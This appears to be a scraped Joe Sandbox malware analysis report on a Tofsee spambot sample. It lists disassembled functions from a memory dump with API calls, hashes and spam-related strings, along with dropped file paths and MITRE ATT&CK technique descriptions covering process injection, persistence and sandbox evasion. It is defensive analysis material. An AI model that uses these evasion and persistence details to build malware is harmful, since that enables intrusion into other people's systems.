Snapshot File: hcaresult_13_2_2d30000_svchost.jbxd

Yara matches

Similarity

API ID: CountTick$ExchangeInterlockedSleep
String ID:
API String ID: 2207858713-0
Opcode ID: a73563a45207b9969a2e634d16dcc27117668b0a3d25ed8b10dfe08f67d23201
Instruction ID: 17b0372984ec917ce20368eb68bea690ad9364798e8a5a6704aece0fe74c13f1
Opcode Fuzzy Hash: a73563a45207b9969a2e634d16dcc27117668b0a3d25ed8b10dfe08f67d23201
Instruction Fuzzy Hash: 01E0863B68121457C7101AA5AC80F9677E8AB85362F160462F708D2340C55AEC5185B1

Function 02D330FA Relevance: 6.0, APIs: 4, Instructions: 23sleepCOMMON

Download Yara Rule

APIs

GetTickCount.KERNEL32 ref: 02D33103
GetTickCount.KERNEL32 ref: 02D3310F
Sleep.KERNEL32(00000000), ref: 02D3311C
InterlockedExchange.KERNEL32(?,00000001), ref: 02D33128

Memory Dump Source

Source File: 0000000D.00000002.3304250387.0000000002D30000.00000040.00000400.00020000.00000000.sdmp, Offset: 02D30000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_13_2_2d30000_svchost.jbxd

Yara matches

Similarity

API ID: CountTick$ExchangeInterlockedSleep
String ID:
API String ID: 2207858713-0
Opcode ID: 7fcd3468155086e6e637e7f1f69201834223d5d8dfbd1cfc0cdb4521d429f6a5
Instruction ID: dec488013aba81036a0264b95f024fdb5ddbd4748aea577877ef7263c4b79b69
Opcode Fuzzy Hash: 7fcd3468155086e6e637e7f1f69201834223d5d8dfbd1cfc0cdb4521d429f6a5
Instruction Fuzzy Hash: DFE02B39740215AFDB402FB5EE44B49ABDADFC47A3F110871F301D2390C650AC10C9B1

Function 02D38CEE Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 73COMMON

Download Yara Rule

APIs

GetTickCount.KERNEL32 ref: 02D38D02
GetTickCount.KERNEL32 ref: 02D38DA1

Strings

localcfg, xrefs: 02D38D19

Memory Dump Source

Source File: 0000000D.00000002.3304250387.0000000002D30000.00000040.00000400.00020000.00000000.sdmp, Offset: 02D30000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_13_2_2d30000_svchost.jbxd

Yara matches

Similarity

API ID: CountTick
String ID: localcfg
API String ID: 536389180-1857712256
Opcode ID: c8c2411c1d1b868fde6c855c0e9473efb602b9bf0efcb0cf21fb98668fd4f8c0
Instruction ID: f0bfef118f8e76fcbb2fb9f666f383d7c3c4614524c0e36c1b1dccdc455b6019
Opcode Fuzzy Hash: c8c2411c1d1b868fde6c855c0e9473efb602b9bf0efcb0cf21fb98668fd4f8c0
Instruction Fuzzy Hash: 9321D232A10511AFCB558FA8E88465ABBFAEF20259B390499F481DB301CB34ED40DB60

Function 02D3BFCE Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 62COMMON

Download Yara Rule

APIs

GetTickCount.KERNEL32 ref: 02D3BFD0
wsprintfA.USER32 ref: 02D3C060

Strings

Type = %d: works = %d cur_thr = %d num_thr = %d integr = %d integr_nl = %d fCntrl = %d time_ok_filt = %d cntr = %d time_nl_filt = %d last_time_work = %d last_time_getem = %d last_time_calc = %d last_time_nl, xrefs: 02D3C057

Memory Dump Source

Source File: 0000000D.00000002.3304250387.0000000002D30000.00000040.00000400.00020000.00000000.sdmp, Offset: 02D30000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_13_2_2d30000_svchost.jbxd

Yara matches

Similarity

API ID: CountTickwsprintf
String ID: Type = %d: works = %d cur_thr = %d num_thr = %d integr = %d integr_nl = %d fCntrl = %d time_ok_filt = %d cntr = %d time_nl_filt = %d last_time_work = %d last_time_getem = %d last_time_calc = %d last_time_nl
API String ID: 2424974917-1012700906
Opcode ID: 6c783a1922b89acc16306fed9ea558fb8b404336761c87be5e561e28008ae526
Instruction ID: 6e4d6b4941f3b85d60144cf6edf27f57fda3e8907bf116e59d2de28c2363fcaa
Opcode Fuzzy Hash: 6c783a1922b89acc16306fed9ea558fb8b404336761c87be5e561e28008ae526
Instruction Fuzzy Hash: C3119776500100FFDB429EA9DD44E567FA6FF88329B34819CF6188E126D633D863EB50

Function 02D338F0 Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 55threadCOMMON

Download Yara Rule

APIs

Part of subcall function 02D330FA: GetTickCount.KERNEL32 ref: 02D33103
Part of subcall function 02D330FA: InterlockedExchange.KERNEL32(?,00000001), ref: 02D33128

GetCurrentThreadId.KERNEL32 ref: 02D33929
GetCurrentThreadId.KERNEL32 ref: 02D33939

Strings

%FROM_EMAIL, xrefs: 02D33913

Memory Dump Source

Source File: 0000000D.00000002.3304250387.0000000002D30000.00000040.00000400.00020000.00000000.sdmp, Offset: 02D30000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_13_2_2d30000_svchost.jbxd

Yara matches

Similarity

API ID: CurrentThread$CountExchangeInterlockedTick
String ID: %FROM_EMAIL
API String ID: 3716169038-2903620461
Opcode ID: aaabbb7b6ad5e8ab96fd0126edf447079151f6ea69a898fd64bb5102632baded
Instruction ID: 7609067b13a0144dd052f57ef4e92efecca1eb230bcedb5562cd88731395b057
Opcode Fuzzy Hash: aaabbb7b6ad5e8ab96fd0126edf447079151f6ea69a898fd64bb5102632baded
Instruction Fuzzy Hash: 0F110475940204EFD762DF59D685A58F3F5FB08715F10899AE84497380C770AE80CFA0

Function 02D3AB81 Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 44stringCOMMON

Download Yara Rule

APIs

lstrcpynA.KERNEL32(?,?,0000003E,?,%FROM_EMAIL,00000000,?,02D3BD6F,?,?,0000000B,no locks and using MX is disabled,000000FF), ref: 02D3ABB9
InterlockedIncrement.KERNEL32(02D43640), ref: 02D3ABE1

Strings

%FROM_EMAIL, xrefs: 02D3AB8C

Memory Dump Source

Source File: 0000000D.00000002.3304250387.0000000002D30000.00000040.00000400.00020000.00000000.sdmp, Offset: 02D30000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_13_2_2d30000_svchost.jbxd

Yara matches

Similarity

API ID: IncrementInterlockedlstrcpyn
String ID: %FROM_EMAIL
API String ID: 224340156-2903620461
Opcode ID: 31b18d2d665b38a03f5035a2119160d1a73076f3bf113255fa39e2c87ad58d90
Instruction ID: 8704c3121903382e630d91360a02f963c30a370578886b5c959ebbd2772c226d
Opcode Fuzzy Hash: 31b18d2d665b38a03f5035a2119160d1a73076f3bf113255fa39e2c87ad58d90
Instruction Fuzzy Hash: 59019E316082C4AFEB12CF18E881F967BA6AF15214F184884E5C087303C370ED44CBA1

Function 02D326B2 Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 37networkCOMMON

Download Yara Rule

APIs

gethostbyaddr.WS2_32(00000000,00000004,00000002), ref: 02D326C3
inet_ntoa.WS2_32(?), ref: 02D326E4

Strings

localcfg, xrefs: 02D326CD, 02D326D2, 02D326DE

Memory Dump Source

Source File: 0000000D.00000002.3304250387.0000000002D30000.00000040.00000400.00020000.00000000.sdmp, Offset: 02D30000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_13_2_2d30000_svchost.jbxd

Yara matches

Similarity

API ID: gethostbyaddrinet_ntoa
String ID: localcfg
API String ID: 2112563974-1857712256
Opcode ID: 5f33bdb0e5066c95bca9a59e9edf853a6d8bfe3a27ff2b0c70413ebb63c46888
Instruction ID: 9910ac7898ac0e3bfd02b321552e00f069d54a38fd0016cb4890c71d4d7cb41c
Opcode Fuzzy Hash: 5f33bdb0e5066c95bca9a59e9edf853a6d8bfe3a27ff2b0c70413ebb63c46888
Instruction Fuzzy Hash: ABF082365482087BEB056FA0EC49AAA379CEF04760F148425FE08CA2D0DB71DD50C798

Function 02D3EAE4 Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 13libraryloaderCOMMON

Download Yara Rule

APIs

LoadLibraryA.KERNEL32(ntdll.dll,02D3EB54,_alldiv,02D3F0B7,80000001,00000000,00989680,00000000,?,?,?,02D3E342,00000000,7508EA50,80000001,00000000), ref: 02D3EAF2
GetProcAddress.KERNEL32(76E80000,00000000), ref: 02D3EB07

Strings

ntdll.dll, xrefs: 02D3EAED

Memory Dump Source

Source File: 0000000D.00000002.3304250387.0000000002D30000.00000040.00000400.00020000.00000000.sdmp, Offset: 02D30000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_13_2_2d30000_svchost.jbxd

Yara matches

Similarity

API ID: AddressLibraryLoadProc
String ID: ntdll.dll
API String ID: 2574300362-2227199552
Opcode ID: e3131116e0e3b3277c75eed8d334c47f2f5b9e3fffc1373edd6bdb08dc833fc7
Instruction ID: a9e55374b451110cb398620d0a6454eeead10831ed2a34fc5eca7c53b1a7f894
Opcode Fuzzy Hash: e3131116e0e3b3277c75eed8d334c47f2f5b9e3fffc1373edd6bdb08dc833fc7
Instruction Fuzzy Hash: FCD0C938A803439BEF678F68E90AA4577E8AB40742B604855A94AD1300E730EC68DA00

Function 02D32F22 Relevance: 5.2, APIs: 4, Instructions: 157memoryCOMMON

Download Yara Rule

APIs

Part of subcall function 02D32D21: GetModuleHandleA.KERNEL32(00000000,759223A0,?,00000000,02D32F01,?,02D320FF,02D42000), ref: 02D32D3A
Part of subcall function 02D32D21: LoadLibraryA.KERNEL32(?), ref: 02D32D4A

GetProcessHeap.KERNEL32(00000000,00000000,00000000,?,00000000), ref: 02D32F73
HeapFree.KERNEL32(00000000), ref: 02D32F7A

Memory Dump Source

Source File: 0000000D.00000002.3304250387.0000000002D30000.00000040.00000400.00020000.00000000.sdmp, Offset: 02D30000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_13_2_2d30000_svchost.jbxd

Yara matches

Similarity

API ID: Heap$FreeHandleLibraryLoadModuleProcess
String ID:
API String ID: 1017166417-0
Opcode ID: 682c35866e1718e3d1d23885145c00c40bfaa1ec8f040288a312752414529afa
Instruction ID: 07c2a90658855193b10dfbde331985c1a6cbbf463034e431d74f109ffc68a033
Opcode Fuzzy Hash: 682c35866e1718e3d1d23885145c00c40bfaa1ec8f040288a312752414529afa
Instruction Fuzzy Hash: F1518C7590024AAFDB069F64D888AFAB7B5FF05304F2045A9EC96D7350E732DE19CB90

Description:	Adversaries may obtain and abuse credentials of existing accounts as a means of gaining Initial Access, Persistence, Privilege Escalation, or Defense Evasion. Compromised credentials may be used to bypass access controls placed on various resources on systems within the network and may even be used for persistent access to remote systems and externally available services, such as VPNs, Outlook Web Access, network devices, and remote desktop.Compromised credentials may also grant an adversary increased privilege to specific systems or access to restricted areas of the network. Adversaries may choose not to use malware or tools in conjunction with the legitimate access those credentials provide to make it harder to detect their presence.
Tactics:	Defense Evasion, Initial Access, Persistence, Privilege Escalation
Data Sources:	Logon Session: Logon Session Creation, Logon Session: Logon Session Metadata, User Account: User Account Authentication
Platforms:	Azure AD, Containers, Google Workspace, IaaS, Linux, macOS, Network, Office 365, SaaS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may interact with the native OS application programming interface (API) to execute behaviors. Native APIs provide a controlled means of calling low-level OS services within the kernel, such as those involving hardware/devices, memory, and processes.These native APIs are leveraged by the OS during system boot (when other system components are not yet initialized) as well as carrying out tasks and requests during routine operations.
Tactics:	Execution
Data Sources:	Module: Module Load, Process: OS API Execution
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may abuse command and script interpreters to execute commands, scripts, or binaries. These interfaces and languages provide ways of interacting with computer systems and are a common feature across many different platforms. Most systems come with some built-in command-line interface and scripting capabilities, for example, macOS and Linux distributions include some flavor of Unix Shell while Windows installations include the Windows Command Shell and PowerShell .
Tactics:	Execution
Data Sources:	Command: Command Execution, Module: Module Load, Process: Process Creation, Process: Process Metadata, Script: Script Execution
Platforms:	Azure AD, Google Workspace, IaaS, Linux, macOS, Network, Office 365, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may abuse the Windows service control manager to execute malicious commands or payloads. The Windows service control manager ( `services.exe` ) is an interface to manage and manipulate services.The service control manager is accessible to users via GUI components as well as system utilities such as `sc.exe` and Net .
Tactics:	Execution
Data Sources:	Command: Command Execution, Network Traffic: Network Traffic Flow, Process: Process Creation, Service: Service Creation, Windows Registry: Windows Registry Key Modification
Platforms:	Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may execute their own malicious payloads by side-loading DLLs. Similar to DLL Search Order Hijacking , side-loading involves hijacking which DLL a program loads. But rather than just planting the DLL within the search order of a program then waiting for the victim application to be invoked, adversaries may directly side-load their payloads by planting then invoking a legitimate application that executes their payload(s).
Tactics:	Defense Evasion, Persistence, Privilege Escalation
Data Sources:	File: File Creation, File: File Modification, Module: Module Load, Process: Process Creation
Platforms:	Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may create or modify Windows services to repeatedly execute malicious payloads as part of persistence. When Windows boots up, it starts programs or applications called services that perform background system functions.Windows service configuration information, including the file path to the service's executable or recovery programs/commands, is stored in the Windows Registry.
Tactics:	Persistence, Privilege Escalation
Data Sources:	Command: Command Execution, Driver: Driver Load, File: File Metadata, Network Traffic: Network Traffic Flow, Process: OS API Execution, Process: Process Creation, Service: Service Creation, Service: Service Modification, Windows Registry: Windows Registry Key Creation, Windows Registry: Windows Registry Key Modification
Platforms:	Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may modify access tokens to operate under a different user or system security context to perform actions and bypass access controls. Windows uses access tokens to determine the ownership of a running process. A user can manipulate access tokens to make a running process appear as though it is the child of a different process or belongs to someone other than the user that started the process. When this occurs, the process also takes on the security context associated with the new token.
Tactics:	Defense Evasion, Privilege Escalation
Data Sources:	Active Directory: Active Directory Object Modification, Command: Command Execution, Process: OS API Execution, Process: Process Creation, Process: Process Metadata, User Account: User Account Metadata
Platforms:	Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may inject code into processes in order to evade process-based defenses as well as possibly elevate privileges. Process injection is a method of executing arbitrary code in the address space of a separate live process. Running code in the context of another process may allow access to the process's memory, system/network resources, and possibly elevated privileges. Execution via process injection may also evade detection from security products since the execution is masked under a legitimate process.
Tactics:	Defense Evasion, Privilege Escalation
Data Sources:	File: File Metadata, File: File Modification, Module: Module Load, Process: OS API Execution, Process: Process Access, Process: Process Metadata, Process: Process Modification
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may modify and/or disable security tools to avoid possible detection of their malware/tools and activities. This may take many forms, such as killing security software processes or services, modifying / deleting Registry keys or configuration files so that tools do not operate properly, or other methods to interfere with security tools scanning or reporting information. Adversaries may also disable updates to prevent the latest security patches from reaching tools on victim systems.
Tactics:	Defense Evasion
Data Sources:	Command: Command Execution, Driver: Driver Load, Process: Process Creation, Process: Process Termination, Sensor Health: Host Status, Service: Service Metadata, Windows Registry: Windows Registry Key Deletion, Windows Registry: Windows Registry Key Modification
Platforms:	Containers, IaaS, Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may use Obfuscated Files or Information to hide artifacts of an intrusion from analysis. They may require separate mechanisms to decode or deobfuscate that information depending on how they intend to use it. Methods for doing that include built-in functionality of malware or by using utilities present on the system.
Tactics:	Defense Evasion
Data Sources:	File: File Modification, Process: Process Creation, Script: Script Execution
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to make an executable or file difficult to discover or analyze by encrypting, encoding, or otherwise obfuscating its contents on the system or in transit. This is common behavior that can be used across different platforms and the network to evade defenses.
Tactics:	Defense Evasion
Data Sources:	Command: Command Execution, File: File Creation, File: File Metadata, Module: Module Load, Process: OS API Execution, Process: Process Creation, Script: Script Execution, WMI: WMI Creation, Windows Registry: Windows Registry Key Creation
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may perform software packing or virtual machine software protection to conceal their code. Software packing is a method of compressing or encrypting an executable. Packing an executable changes the file signature in an attempt to avoid signature-based detection. Most decompression techniques decompress the executable code in memory. Virtual machine software protection translates an executable's original code into a special format that only a special virtual machine can run. A virtual machine is then called to run this code.
Tactics:	Defense Evasion
Data Sources:	File: File Metadata
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may delete files left behind by the actions of their intrusion activity. Malware, tools, or other non-native files dropped or created on a system by an adversary (ex: Ingress Tool Transfer ) may leave traces to indicate to what was done within a network and how. Removal of these files can occur during an intrusion, or as part of a post-intrusion process to minimize the adversary's footprint.
Tactics:	Defense Evasion
Data Sources:	Command: Command Execution, File: File Deletion
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to manipulate features of their artifacts to make them appear legitimate or benign to users and/or security tools. Masquerading occurs when the name or location of an object, legitimate or malicious, is manipulated or abused for the sake of evading defenses and observation. This may include manipulating file metadata, tricking users into misidentifying the file type, and giving legitimate task or service names.
Tactics:	Defense Evasion
Data Sources:	Command: Command Execution, File: File Metadata, File: File Modification, Image: Image Metadata, Process: OS API Execution, Process: Process Creation, Process: Process Metadata, Scheduled Job: Scheduled Job Metadata, Scheduled Job: Scheduled Job Modification, Service: Service Creation, Service: Service Metadata
Platforms:	Containers, Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may employ various means to detect and avoid virtualization and analysis environments. This may include changing behaviors based on the results of checks for the presence of artifacts indicative of a virtual machine environment (VME) or sandbox. If the adversary detects a VME, they may alter their malware to disengage from the victim or conceal the core functions of the implant. They may also search for VME artifacts before dropping secondary or additional payloads. Adversaries may use the information learned from [Virtualization/Sandbox Evasion](https://attack.mitre.org/techniques/T1497) during automated discovery to shape follow-on behaviors.
Tactics:	Defense Evasion, Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	An adversary may gather the system time and/or time zone from a local or remote system. The system time is set and stored by the Windows Time Service within a domain to maintain time synchronization between systems and services in an enterprise network.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	Network, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to get a listing of valid accounts, usernames, or email addresses on a system or within a compromised environment. This information can help adversaries determine which accounts exist, which can aid in follow-on behavior such as brute-forcing, spear-phishing attacks, or account takeovers (e.g., Valid Accounts ).
Tactics:	Discovery
Data Sources:	Command: Command Execution, File: File Access, Process: Process Creation
Platforms:	Azure AD, Google Workspace, IaaS, Linux, macOS, Office 365, SaaS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may enumerate files and directories or may search in specific locations of a host or network share for certain information within a file system. Adversaries may use the information from File and Directory Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	An adversary may attempt to get detailed information about the operating system and hardware, including version, patches, hotfixes, service packs, and architecture. Adversaries may use the information from System Information Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	IaaS, Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to get information about running processes on a system. Information obtained could be used to gain an understanding of common software/applications running on systems within the network. Adversaries may use the information from Process Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Behavior Section

Behavior Chronological

Disassembly

Uncategorized

Graph

Loading Joe Sandbox Report ...

Warning!

Windows Analysis Report 2IFYYPRUgO.exe

Overview

General Information

Detection

Signatures

Classification

Process Tree

Malware Threat Intel

Malware Configuration

Threatname: Tofsee

Yara Signatures

Memory Dumps

Unpacked PEs

Sigma Signatures

System Summary

Suricata Signatures

Joe Sandbox Signatures

AV Detection

Compliance

Change of critical system settings

Networking

Spam, unwanted Advertisements and Ransom Demands

System Summary

Data Obfuscation

Persistence and Installation Behavior

Boot Survival

Hooking and other Techniques for Hiding and Protection

Malware Analysis System Evasion

Anti Debugging

HIPS / PFW / Operating System Protection Evasion

Language, Device and Operating System Detection

Lowering of HIPS / PFW / Operating System Security Settings

Stealing of Sensitive Information

Remote Access Functionality

Mitre Att&ck Matrix

Behavior Graph

Screenshots

Thumbnails

Antivirus, Machine Learning and Genetic Malware Detection

Initial Sample

Dropped Files

Unpacked PE Files

Domains

URLs

Domains and IPs

Contacted Domains

Contacted URLs

World Map of Contacted IPs

Public IPs

General Information

Warnings

Simulations

Behavior and APIs

Joe Sandbox View / Context

IPs

Domains

ASNs

JA3 Fingerprints

Dropped Files

Created / dropped Files

C:\Users\user\AppData\Local\Temp\uscdfbek.exe

C:\Windows\SysWOW64\chxnvqnu\uscdfbek.exe (copy)

\Device\ConDrv

Static File Info

General

File Icon

Static PE Info

General

Entrypoint Preview

Rich Headers

Data Directories

Sections

Resources

Windows Analysis Report
2IFYYPRUgO.exe

Description:	Adversaries may attempt to identify the primary user, currently logged in user, set of users that commonly uses a system, or whether a user is actively using the system. They may do this, for example, by retrieving account usernames or by using OS Credential Dumping . The information may be collected in a number of different ways using other Discovery techniques, because user and username details are prevalent throughout a system and include running process ownership, file/directory ownership, session information, and system logs. Adversaries may use the information from [System Owner/User Discovery](https://attack.mitre.org/techniques/T1033) during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	Active Directory: Active Directory Object Access, Command: Command Execution, File: File Access, Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow, Process: OS API Execution, Process: Process Access, Process: Process Creation, Windows Registry: Windows Registry Key Access
Platforms:	Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may look for details about the network configuration and settings, such as IP and/or MAC addresses, of systems they access or through information discovery of remote systems. Several operating system administration utilities exist that can be used to gather this information. Examples include Arp , ipconfig / ifconfig , nbtstat , and route .
Tactics:	Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation, Script: Script Execution
Platforms:	Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	An adversary may compress and/or encrypt data that is collected prior to exfiltration. Compressing the data can help to obfuscate the collected data and minimize the amount of data sent over the network. Encryption can be used to hide information that is being exfiltrated from detection or make exfiltration less conspicuous upon inspection by a defender.
Tactics:	Collection
Data Sources:	Command: Command Execution, File: File Creation, Process: Process Creation, Script: Script Execution
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may transfer tools or other files from an external system into a compromised environment. Tools or files may be copied from an external adversary-controlled system to the victim network through the command and control channel or through alternate protocols such as ftp . Once present, adversaries may also transfer/spread tools between victim devices within a compromised environment (i.e. Lateral Tool Transfer ).
Tactics:	Command and Control
Data Sources:	Command: Command Execution, File: File Creation, Network Traffic: Network Connection Creation, Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may employ a known encryption algorithm to conceal command and control traffic rather than relying on any inherent protections provided by a communication protocol. Despite the use of a secure algorithm, these implementations may be vulnerable to reverse engineering if secret keys are encoded and/or generated within malware samples/configuration files.
Tactics:	Command and Control
Data Sources:	Network Traffic: Network Traffic Content
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may use an OSI non-application layer protocol for communication between host and C2 server or among infected hosts within a network. The list of possible protocols is extensive.Specific examples include use of network layer protocols, such as the Internet Control Message Protocol (ICMP), transport layer protocols, such as the User Datagram Protocol (UDP), session layer protocols, such as Socket Secure (SOCKS), as well as redirected/tunneled protocols, such as Serial over LAN (SOL).
Tactics:	Command and Control
Data Sources:	Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow
Platforms:	Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may communicate using OSI application layer protocols to avoid detection/network filtering by blending in with existing traffic. Commands to the remote system, and often the results of those commands, will be embedded within the protocol traffic between the client and server.
Tactics:	Command and Control
Data Sources:	Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre